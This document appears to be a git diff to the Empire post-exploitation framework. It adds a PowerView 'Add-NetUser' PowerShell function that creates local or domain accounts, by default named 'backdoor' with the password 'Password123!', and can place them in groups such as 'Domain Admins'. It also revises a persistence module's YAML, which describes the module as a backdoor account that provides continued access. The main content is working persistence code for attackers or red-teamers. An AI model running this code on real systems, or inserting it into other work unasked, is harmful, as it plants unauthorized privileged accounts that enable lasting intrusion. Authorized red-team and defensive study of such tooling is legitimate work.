diff --git a/CHANGELOG.md b/CHANGELOG.md index 7a8cbe0df..b351d11fd 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -74,6 +74,7 @@ and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0 - Fixed malleable HTTP listener stagers failing after server restart due to random URI regeneration in `Stager._defaults()` - Fix null-safety bug in `_process_agent_packet` when `save_module_file` returns None on skywalker exploit detection - Fixed stop-job handlers in PowerShell and Python agents crashing when the target job doesn't exist +- Fixed powerview add-netuser - Fixed the `docs/quickstart/installation/README.md` file to specify a previously missing reference to Ubuntu - Fixed 9 malformed MITRE ATT&CK technique IDs across PowerShell, Python, and C# modules - Fixed 2 malformed tactic fields that used space-separated strings instead of YAML lists diff --git a/empire/server/data/module_source/situational_awareness/network/powerview.ps1 b/empire/server/data/module_source/situational_awareness/network/powerview.ps1 index 1dce16bde..d31441e6a 100644 --- a/empire/server/data/module_source/situational_awareness/network/powerview.ps1 +++ b/empire/server/data/module_source/situational_awareness/network/powerview.ps1 @@ -2570,6 +2570,142 @@ Invoke-RevertToSelf -TokenHandle $Token Write-Verbose "[Invoke-RevertToSelf] Token impersonation successfully reverted" } +function Add-NetUser { +<# + .SYNOPSIS + Adds a domain user or a local user to the current (or remote) machine, + if permissions allow, utilizing the WinNT service provider and + DirectoryServices.AccountManagement, respectively. + + The default behavior is to add a user to the local machine. + An optional group name to add the user to can be specified. + .PARAMETER UserName + The username to add. If not given, it defaults to 'backdoor' + .PARAMETER Password + The password to set for the added user. If not given, it defaults to 'Password123!' + .PARAMETER GroupName + Group to optionally add the user to. + .PARAMETER ComputerName + Hostname to add the local user to, defaults to 'localhost' + .PARAMETER Domain + Specified domain to add the user to. + .EXAMPLE + PS C:\> Add-NetUser -UserName john -Password 'Password123!' + + Adds a localuser 'john' to the local machine with password of 'Password123!' + .EXAMPLE + PS C:\> Add-NetUser -UserName john -Password 'Password123!' -ComputerName server.testlab.local + + Adds a localuser 'john' with password of 'Password123!' to server.testlab.local's local Administrators group. + .EXAMPLE + PS C:\> Add-NetUser -UserName john -Password password -GroupName "Domain Admins" -Domain '' + + Adds the user "john" with password "password" to the current domain and adds + the user to the domain group "Domain Admins" + .EXAMPLE + PS C:\> Add-NetUser -UserName john -Password password -GroupName "Domain Admins" -Domain 'testing' + + Adds the user "john" with password "password" to the 'testing' domain and adds + the user to the domain group "Domain Admins" + .Link + http://blogs.technet.com/b/heyscriptingguy/archive/2010/11/23/use-powershell-to-create-local-user-accounts.aspx +#> + + [CmdletBinding()] + Param ( + [ValidateNotNullOrEmpty()] + [String] + $UserName = 'backdoor', + + [ValidateNotNullOrEmpty()] + [String] + $Password = 'Password123!', + + [ValidateNotNullOrEmpty()] + [String] + $GroupName, + + [ValidateNotNullOrEmpty()] + [Alias('HostName')] + [String] + $ComputerName = 'localhost', + + [ValidateNotNullOrEmpty()] + [String] + $Domain + ) + + if ($Domain) { + + $DomainObject = Get-NetDomain -Domain $Domain + if(-not $DomainObject) { + Write-Warning "Error in grabbing $Domain object" + return $Null + } + + # add the assembly we need + Add-Type -AssemblyName System.DirectoryServices.AccountManagement + + # http://richardspowershellblog.wordpress.com/2008/05/25/system-directoryservices-accountmanagement/ + # get the domain context + $Context = New-Object -TypeName System.DirectoryServices.AccountManagement.PrincipalContext -ArgumentList ([System.DirectoryServices.AccountManagement.ContextType]::Domain), $DomainObject + + # create the user object + $User = New-Object -TypeName System.DirectoryServices.AccountManagement.UserPrincipal -ArgumentList $Context + + # set user properties + $User.Name = $UserName + $User.SamAccountName = $UserName + $User.PasswordNotRequired = $False + $User.SetPassword($Password) + $User.Enabled = $True + + Write-Verbose "Creating user $UserName to with password '$Password' in domain $Domain" + + try { + # commit the user + $User.Save() + "[*] User $UserName successfully created in domain $Domain" + } + catch { + Write-Warning "[!] Failed to create user: $($_.Exception.Message)" + return + } + } + else { + + Write-Verbose "Creating user $UserName to with password '$Password' on $ComputerName" + + # if it's not a domain add, it's a local machine add + $ObjOu = [ADSI]"WinNT://$ComputerName" + $ObjUser = $ObjOu.Create('User', $UserName) + $ObjUser.SetPassword($Password) + + # commit the changes to the local machine + try { + $Null = $ObjUser.SetInfo() + "[*] User $UserName successfully created on host $ComputerName" + } + catch { + Write-Warning "[!] Failed to create user: $($_.Exception.Message)" + return + } + } + + # if a group is specified, invoke Add-NetGroupUser and return its value + if ($GroupName) { + # if we're adding the user to a domain + if ($Domain) { + Add-NetGroupUser -UserName $UserName -GroupName $GroupName -Domain $Domain + "[*] User $UserName successfully added to group $GroupName in domain $Domain" + } + # otherwise, we're adding to a local group + else { + Add-NetGroupUser -UserName $UserName -GroupName $GroupName -ComputerName $ComputerName + "[*] User $UserName successfully added to group $GroupName on host $ComputerName" + } + } +} function Get-DomainSPNTicket { <# diff --git a/empire/server/modules/powershell/persistence/misc/add_netuser.yaml b/empire/server/modules/powershell/persistence/misc/add_netuser.yaml index 1f6ce1e4f..abfd79e2b 100644 --- a/empire/server/modules/powershell/persistence/misc/add_netuser.yaml +++ b/empire/server/modules/powershell/persistence/misc/add_netuser.yaml @@ -5,14 +5,12 @@ authors: link: https://twitter.com/harmj0y description: | A persistence module that establishes system-level persistence by creating - a new user account with administrative privileges and configuring it to - execute an Empire stager upon logon. This approach leverages Windows + a new user account with administrative privileges. This approach leverages Windows user account management to create a reliable persistence mechanism that provides continued access through a dedicated backdoor account. The module creates a new user account with specified credentials and - administrative privileges, then configures the account's registry hive - to execute the stager upon logon. This technique is particularly effective + administrative privileges. This technique is particularly effective as it uses legitimate Windows user account infrastructure and provides a dedicated access method that can survive system changes. @@ -26,17 +24,13 @@ tactics: [TA0003] techniques: [T1136.001, T1136.002] background: true output_extension: -needs_admin: false +needs_admin: true opsec_safe: true language: powershell min_language_version: '2' comments: - https://github.com/PowerShellMafia/PowerSploit/blob/dev/Recon/ options: - - name: Listener - description: Listener to use for the stager. - required: false - value: '' - name: UserName description: The username to add. required: false